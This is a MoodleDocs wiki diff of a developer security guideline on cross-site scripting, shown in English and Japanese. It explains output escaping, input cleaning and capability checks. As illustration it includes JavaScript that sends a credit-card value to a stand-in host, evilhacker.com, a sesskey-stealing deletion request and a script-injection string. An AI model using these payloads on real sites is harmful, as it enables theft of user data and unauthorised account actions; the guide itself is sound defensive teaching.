「開発:セキュリティ:クロスサイトスクリプティング」の版間の差分

提供:MoodleDocs
移動先:案内検索
(ページの作成: 作成中です - ~~~~ このページは、Moodleセキュリティガイドラインの一部です。 ==What is the danger?== Normally, web br...)
 
(done.)
 
(同じ利用者による、間の40版が非表示)
1行目: 1行目:
作成中です - [[利用者:Mitsuhiro Yoshida|Mitsuhiro Yoshida]] 2010年1月9日 (土) 16:27 (UTC)
このページは、[[開発:セキュリティ|Moodleセキュリティガイドライン]]の一部です。
このページは、[[開発:セキュリティ|Moodleセキュリティガイドライン]]の一部です。


==What is the danger?==
==何が危険ですか?==


Normally, web browser prevent JavaScript from server from affecting content that comes from another server. For example, suppose that on your Moodle page (<nowiki>http://mymooodle.com/</nowiki>, you have an iframe displaying an advert from <nowiki>http://makemerich.com/</nowiki>. Then, and JavaScript code in the advert cannot access anything on your page.
通常、ウェブブラウザでは、コンテンツに影響を及ぼす恐れのある、別サーバからのJavaスクリプトの実行を避けるようになっています。例えば、あなたのMoodleページ (<nowiki>http://mymooodle.com/</nowiki>) 内のiframeに <nowiki>http://makemerich.com/</nowiki> の広告を表示していると考えましょう。広告ページのJavaスクリプトは、あなたのページすべてにアクセスすることはできません。


In Moodle, we actually let users type in HTML, then we display that HTML as part of our web site. Therefore, any JavaScript they manage to include will have full access to everything on the page.
実際、Moodleでは、私たちがユーザにHTMLを入力させ、ウェブサイトの一部として表示しています。そのため、Moodleページに含まれているJavaスクリプトは、ページすべてにフルアクセスすることができてしまいます。


Why is that a problem? Well, suppose Evil Hacker manages to get some code like
なぜそれが問題なのでしょう? それでは、悪意のあるハッカーが次のようなコードをクレジットカード番号入力ページに埋め込んだとしましょう。
<code javascript>
<code javascript>
  document.write('<img width="1" height="1" ' +
  document.write('<img width="1" height="1" ' +
15行目: 13行目:
     document.getElementById('creditcard').value + '" />');
     document.getElementById('creditcard').value + '" />');
</code>
</code>
on a page where the user types in their credit card number. Actually, that scenario is quite unlikely in Moodle, but there are more plausible scenarios that are possible.
実際のところ、これはMoodleにおいて極めて起こりそうもないシナリオですが、可能性のある、もっともらしいシナリオです。


 
XSSのもう1つの問題は、悪意のあるハッカーがsesskeyプロテクションを避けて通ることができる点です。例えば、
Another problem is that XSS makes it much easier for Evil Hacker get round sesskey protection. For example
<code javascript>
<code javascript>
  document.write('<img width="1" height="1" ' +
  document.write('<img width="1" height="1" ' +
24行目: 21行目:
     document.getElementById('sesskey').value + '" />');
     document.getElementById('sesskey').value + '" />');
</code>
</code>
Or even more sophisticated, the JavaScript to do that as a POST request, in a forum where an Administrator would go, would be very bad.
または、さらに洗練された方法では、管理者が移動できるフォーラムでJavaスクリプトをPOSTリクエストとして実行させます。これは、非常に悪い結果となります。


少なくともInternet Explorerでは、HTML内と同様に、JavaスクリプトをCSSスタイル情報内に隠すことができることに留意してください。ブラウザのJavaスクリプトエンジンと同様に、FlashおよびJavaアプレットもスクリプト実行に使用することができます。


Note that, at least in Internet Explorer, JavaScript can be hidden in CSS style information, as well as in the HTML. Flash and Java applets can also be used to execute scripting, as well as the browser's JavaScript engine.
危険なコンテンツは、ユーザによって直接Moodleに入れられるだけではないことにも留意してください。例えば、外部RSSフィードから入ってくることも考えられます。


==どのようにして、Moodleはこの問題を回避するのですか?==


Note also that dangerous content may not only be input into Moodle directly by a user. It may also come, for example, from an external RSS feed.
XSSアタックに対するシンプルな解決方法は、ユーザにHTMLのようなリッチコンテンツの入力させない、またFlashのようなプラグインをアップロードさせないことです。残念ですが、Moodleでは、私たちはユーザにリッチコンテンツを使わせたいと考えています。例えば、私たちは、フォーラム内で学生にオレンジ色のテキストを点滅させて自分を表現させたいと考えることがあります。また、私たちは、学生が使用するために、教師が面白いアプレットをアップロードできるようにしたいと考えることもあります。それゆえ、私たちは譲歩する必要があるのです。


===アウトプットをエスケープする===


==How Moodle avoids this problem==
Moodleは、ユーザによって入力されたコンテンツを4つのカテゴリに分類します:
# プレインテキストコンテンツ。例えば、小テストの記述問題に対する学生の解答。
# multi-lang spanを含んだラベル除く、プレインテキストのラベル。例えば、コース名またはセクションタイトル。
# すべてのユーザによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。
# 教師のように信頼されるユーザによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。


The simplest solution to XSS attacks is to never let the user input rich content like HTML or upload plugins like flash. Unfortunately, with Moodle we want to let our users communicate using rich content. For example, we want students to be able to express themselves by making forum posts in flashing orange text. We want teacher to be able to upload interesting applets for use by their students. Therefore, we have to compromise.
コンテンツタイプに応じて、あなたは適切な出力関数を使用する必要があります。例えば、あなたがプレインテキストコンテンツを使用する場合、コンテンツを出力するため、s() 関数を使用すべきです。この関数では、すべての「<」文字を「&anp;」に置換します。この置換が実行された場合、入力内容がJavaスクリプトと解釈されることはありません。


===インプットのクリーニング===


===Escaping output===
もう一方のプロテクションは、日付が入力される時点でクリーニングすることです。これは、optional_paramまたはrequired_param関数を使用して実行されます。例えば、あなたが整数の入力を期待する場合、PARAM_INTを通すことで、整数のみ戻すことができます。変数に数値のみ含まれていることを知っている場合、あなたは、悪意のあるJavaスクリプトが含まれていないことを確信することができます。


Moodle divides content that has been input by the user into four categories:
しかし、HTMLのように非常に手の込んだ入力では、コードがいくつかの複雑な状態をまずく処理してしまう可能性もあります。アルゴリズムは、将来的に、ほぼ確実に改善されますので、複雑なコンテンツに関して、私たちは生の入力をデータベースに保存して、最新のアルゴリズムを使用することにより、出力時のみクリーニングします。
# Plain text content. For example, a student's response to a short answer question.
# Labels that are plain text, except that they main contain multi-lang spans. For example, a course name or section heading.
# HTML (or wiki, markdown) content, that might have been input by anyone. For example the body of a forum post.
# HTML (or wiki, markdown) content, that could only have been input by a trusted user, like a teacher. For example, the body of a web page resource.


Depending on the type of content, you need to use the appropriate function to output it. For example, if you have plain text content, you should use the s() function to output it. that will replace any < character with &amp;lt;. If that is done, there is no way that the input can be interpreted as JavaScript.
===出力をエスケープする 2 - Javaスクリプト===


 
あなたが注意する必要のある、他の部分は、Javaスクリプトへのデータ送信です。例えば、あなたが、以下のようなJavaスクリプトをPHPコード内に作成した場合:
===Cleaning input===
 
The other part of the protection is cleaning up date as it comes in. This is done using the optional_param or required_param functions. For example, if you say you are expecting an integer as input, by passing PARAM_INT, then you will only get an integer back. Once you know that a variable only contains an integer value, you can be sure it does not contain any malicious JavaScript.
 
However, for very complex input, like HTML, doing the cleaning is very tricky, and the code is likely to handle some complex situations badly. The algorithms will almost certainly be improved in the future, so for complex content, we store the raw input in the database, and only do the cleaning when it is output, using the latest algorithms.
 
 
===Escaping output 2 - JavaScript===
 
The other place you need to be careful is when you are sending data to JavaScript. For example, if you generate JavaScript in your PHP code like
<code php>
<code php>
echo '<script type="text/javascript">';
echo '<script type="text/javascript">';
64行目: 55行目:
echo '</script>';
echo '</script>';
</code>
</code>
and Evil hacker can make $userinput equal to something like '''"); /* Do something evil. */ (''' then he can get whatever code he chooses to put in the /* Do something evil. */ space to run within your web page.
悪意のあるハッカーは、$userinput に対して「'''"); /* Do something evil. */ ('''」のような文字列を入力した後、「/* Do something evil. */」の中に悪さをするためのコードを入力して、あなたのウェブページで実行することができてしまいます。
 
In Moodle 2.0 and later, the best solution is to not echo JavaScript like this. Instead, follow the [[Development:JavaScript_guidelines|JavaScript guidelines]], and put your JavaScript in an external file, and communicate with it using '''$PAGE->requires->data_for_js''' or '''$PAGE->requires->js_function_call'''. Those two methods properly encode any PHP data to be passed to JavaScript using json_encode.


Before Moodle 1.9, the tools available are less sophisticated. You should still try to put as much JavaScript as possible in an external file, included with require_js, but you will have to manage sending data form PHP to JavaScript yourself. Moodle 1.9 and earlier provide the '''addslashes_js''' function for safely encoding PHP strings for inclusion in JavaScript code.
Moodle 2.0およびそれ以降のバージョンのベストな解決方法は、このようなJavaスクリプトをechoしないことです。代わりに、[[開発:Javaスクリプトガイドライン|Javaスクリプトガイドライン]]に従ってください。そして、あなたのJavaスクリプトを外部ファイルに置いた後、'''$PAGE->requires->data_for_js''' または '''$PAGE->requires->js_function_call''' を使用してコミュニケートしてください。これら2つのメソッドは、json_encodeを使用して、Javaスクリプトに渡されるPHPコードすべてを適切にエンコードします。


==What you need to do in your code==
Moodle 1.9以前のバージョンでは、利用可能なツールは、それほど洗練されていませんでした。あなたは、まだ外部ファイルに可能なだけJavaスクリプトを記述して、require_jsを使ってインクルードする必要があります。しかし、PHPからJavaスクリプト自身へのデータ送信は、あなたが実施する必要があります。Moodle 1.9およびそれ以前のバージョンでは、Javaスクリプトコード内へのPHPストリングのインクルードに関して、安全にエンコードするため、'''addslashes_js'''関数が提供されています。


* Get input values using optional_param or required_param with an appropriate PARAM_... type, to ensure that only data of the type you expect is accepted.
==あなたのコードで、あなたがすべきこと==
* Alternatively, use a '''[[Development:lib/formslib.php|moodleforms]]''', with appropriate ->setType calls in the form definition.
* Clean or escape content appropriately on output.
** Use '''s''' or '''p''' to output plain text content (type 1 above).
** use '''format_string''' to output content with minimal HTML like multi-lang spans (type 2 above).
** Use '''format_text''' to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options->noclean argument to format_text.
* Any place where a use can input content that is output by format_text, $options->noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS.
* When sending data to JavaScript code:
** In Moodle 2.0 and later, use the '''$PAGE->requires->data_for_js''' or ''$PAGE->requires->js_function_call''' methods.
** In Moodle 1.9 and earlier, escape the data with '''addslashes_js''' before printing it into the JavaScript code.


==What you need to do as an administrator==
* あなたが希望するデータタイプのみ受け付けるよう、適切なPARAM_...タイプにより、入力値をoptional_paramまたはrequired_paramで取得します。
* 代わりに、フォームに適切な->setTypeを定義した、'''[[Development:lib/formslib.php|moodleforms]]'''を使用してください。
* 出力時、コンテンツを適切にクリーニングまたはエスケープしてください。
** プレインテキストコンテンツの出力には、'''s''' または '''p''' を使用してください (上記タイプ1)。
** multi-lang spanのように、最小限のHTMLのコンテンツを出力するには、'''format_string'''を使用してください (上記タイプ2)。
** 他のすべてのコンテンツを出力するには、'''format_text'''を使用してください (上記タイプ3および4)。どの程度コンテンツがクリーニングされるかは (つまり、タイプ3および4の違い)、format_textに対する$options->noclean値に依存します。
* 入力されたコンテンツを、format_textおよび$options->nocleanを使用して出力する場合、ケイパビリティチェックする必要があります。また、そのケイパビリティは、必ずRISK_XSSにマークしてください。
* Javaスクリプトのデータを送信する場合:
** Moodle 2.0またはそれ以降のバージョンでは、'''$PAGE->requires->data_for_js'''または'''$PAGE->requires->js_function_call'''メソッドを使用します。
** Moodle 1.9およびそれ以前のバージョンでは、表示前にJavaスクリプトコードのデータを'''addslashes_js'''を使用してエスケープします。


* Do not allow a user to have a capability with RISK_XSS unless you trust them.
==管理者として、あなたがすべきこと==
** The [[Security overview]] report can help you check this.


* あなたが信頼しない限り、ユーザにRISK_XSSのケイパビリティを割り当てないでください。
** [[セキュリティオーバービュー]]レポートにより、この割り当てをチェックすることができます。


==関連情報==
==関連情報==


* [[Development:セキュリティ]]
* [[開発:セキュリティ]]
* [[Development:コーディング]]
* [[開発:コーディング]]


[[Category:開発者]]
[[Category:開発者]]

2010年2月16日 (火) 16:23時点における最新版

このページは、Moodleセキュリティガイドラインの一部です。

何が危険ですか?

通常、ウェブブラウザでは、コンテンツに影響を及ぼす恐れのある、別サーバからのJavaスクリプトの実行を避けるようになっています。例えば、あなたのMoodleページ (http://mymooodle.com/) 内のiframeに http://makemerich.com/ の広告を表示していると考えましょう。広告ページのJavaスクリプトは、あなたのページすべてにアクセスすることはできません。

実際、Moodleでは、私たちがユーザにHTMLを入力させ、ウェブサイトの一部として表示しています。そのため、Moodleページに含まれているJavaスクリプトは、ページすべてにフルアクセスすることができてしまいます。

なぜそれが問題なのでしょう? それでは、悪意のあるハッカーが次のようなコードをクレジットカード番号入力ページに埋め込んだとしましょう。

document.write('<img width="1" height="1" ' +
    'src="http://evilhacker.com/savedata.php?creditcard=' +
    document.getElementById('creditcard').value + '" />');

実際のところ、これはMoodleにおいて極めて起こりそうもないシナリオですが、可能性のある、もっともらしいシナリオです。

XSSのもう1つの問題は、悪意のあるハッカーがsesskeyプロテクションを避けて通ることができる点です。例えば、

document.write('<img width="1" height="1" ' +
    'src="http://example.com/moodle/user/delete.php?id=123&confirm=1&sesskey=' +
    document.getElementById('sesskey').value + '" />');

または、さらに洗練された方法では、管理者が移動できるフォーラムでJavaスクリプトをPOSTリクエストとして実行させます。これは、非常に悪い結果となります。

少なくともInternet Explorerでは、HTML内と同様に、JavaスクリプトをCSSスタイル情報内に隠すことができることに留意してください。ブラウザのJavaスクリプトエンジンと同様に、FlashおよびJavaアプレットもスクリプト実行に使用することができます。

危険なコンテンツは、ユーザによって直接Moodleに入れられるだけではないことにも留意してください。例えば、外部RSSフィードから入ってくることも考えられます。

どのようにして、Moodleはこの問題を回避するのですか?

XSSアタックに対するシンプルな解決方法は、ユーザにHTMLのようなリッチコンテンツの入力させない、またFlashのようなプラグインをアップロードさせないことです。残念ですが、Moodleでは、私たちはユーザにリッチコンテンツを使わせたいと考えています。例えば、私たちは、フォーラム内で学生にオレンジ色のテキストを点滅させて自分を表現させたいと考えることがあります。また、私たちは、学生が使用するために、教師が面白いアプレットをアップロードできるようにしたいと考えることもあります。それゆえ、私たちは譲歩する必要があるのです。

アウトプットをエスケープする

Moodleは、ユーザによって入力されたコンテンツを4つのカテゴリに分類します:

  1. プレインテキストコンテンツ。例えば、小テストの記述問題に対する学生の解答。
  2. multi-lang spanを含んだラベル除く、プレインテキストのラベル。例えば、コース名またはセクションタイトル。
  3. すべてのユーザによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。
  4. 教師のように信頼されるユーザによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。

コンテンツタイプに応じて、あなたは適切な出力関数を使用する必要があります。例えば、あなたがプレインテキストコンテンツを使用する場合、コンテンツを出力するため、s() 関数を使用すべきです。この関数では、すべての「<」文字を「&anp;」に置換します。この置換が実行された場合、入力内容がJavaスクリプトと解釈されることはありません。

インプットのクリーニング

もう一方のプロテクションは、日付が入力される時点でクリーニングすることです。これは、optional_paramまたはrequired_param関数を使用して実行されます。例えば、あなたが整数の入力を期待する場合、PARAM_INTを通すことで、整数のみ戻すことができます。変数に数値のみ含まれていることを知っている場合、あなたは、悪意のあるJavaスクリプトが含まれていないことを確信することができます。

しかし、HTMLのように非常に手の込んだ入力では、コードがいくつかの複雑な状態をまずく処理してしまう可能性もあります。アルゴリズムは、将来的に、ほぼ確実に改善されますので、複雑なコンテンツに関して、私たちは生の入力をデータベースに保存して、最新のアルゴリズムを使用することにより、出力時のみクリーニングします。

出力をエスケープする 2 - Javaスクリプト

あなたが注意する必要のある、他の部分は、Javaスクリプトへのデータ送信です。例えば、あなたが、以下のようなJavaスクリプトをPHPコード内に作成した場合: echo '<script type="text/javascript">'; echo 'alert("' . $userinput . '");'; echo '</script>'; 悪意のあるハッカーは、$userinput に対して「"); /* Do something evil. */ (」のような文字列を入力した後、「/* Do something evil. */」の中に悪さをするためのコードを入力して、あなたのウェブページで実行することができてしまいます。

Moodle 2.0およびそれ以降のバージョンのベストな解決方法は、このようなJavaスクリプトをechoしないことです。代わりに、Javaスクリプトガイドラインに従ってください。そして、あなたのJavaスクリプトを外部ファイルに置いた後、$PAGE->requires->data_for_js または $PAGE->requires->js_function_call を使用してコミュニケートしてください。これら2つのメソッドは、json_encodeを使用して、Javaスクリプトに渡されるPHPコードすべてを適切にエンコードします。

Moodle 1.9以前のバージョンでは、利用可能なツールは、それほど洗練されていませんでした。あなたは、まだ外部ファイルに可能なだけJavaスクリプトを記述して、require_jsを使ってインクルードする必要があります。しかし、PHPからJavaスクリプト自身へのデータ送信は、あなたが実施する必要があります。Moodle 1.9およびそれ以前のバージョンでは、Javaスクリプトコード内へのPHPストリングのインクルードに関して、安全にエンコードするため、addslashes_js関数が提供されています。

あなたのコードで、あなたがすべきこと

  • あなたが希望するデータタイプのみ受け付けるよう、適切なPARAM_...タイプにより、入力値をoptional_paramまたはrequired_paramで取得します。
  • 代わりに、フォームに適切な->setTypeを定義した、moodleformsを使用してください。
  • 出力時、コンテンツを適切にクリーニングまたはエスケープしてください。
    • プレインテキストコンテンツの出力には、s または p を使用してください (上記タイプ1)。
    • multi-lang spanのように、最小限のHTMLのコンテンツを出力するには、format_stringを使用してください (上記タイプ2)。
    • 他のすべてのコンテンツを出力するには、format_textを使用してください (上記タイプ3および4)。どの程度コンテンツがクリーニングされるかは (つまり、タイプ3および4の違い)、format_textに対する$options->noclean値に依存します。
  • 入力されたコンテンツを、format_textおよび$options->nocleanを使用して出力する場合、ケイパビリティチェックする必要があります。また、そのケイパビリティは、必ずRISK_XSSにマークしてください。
  • Javaスクリプトのデータを送信する場合:
    • Moodle 2.0またはそれ以降のバージョンでは、$PAGE->requires->data_for_jsまたは$PAGE->requires->js_function_callメソッドを使用します。
    • Moodle 1.9およびそれ以前のバージョンでは、表示前にJavaスクリプトコードのデータをaddslashes_jsを使用してエスケープします。

管理者として、あなたがすべきこと

  • あなたが信頼しない限り、ユーザにRISK_XSSのケイパビリティを割り当てないでください。

関連情報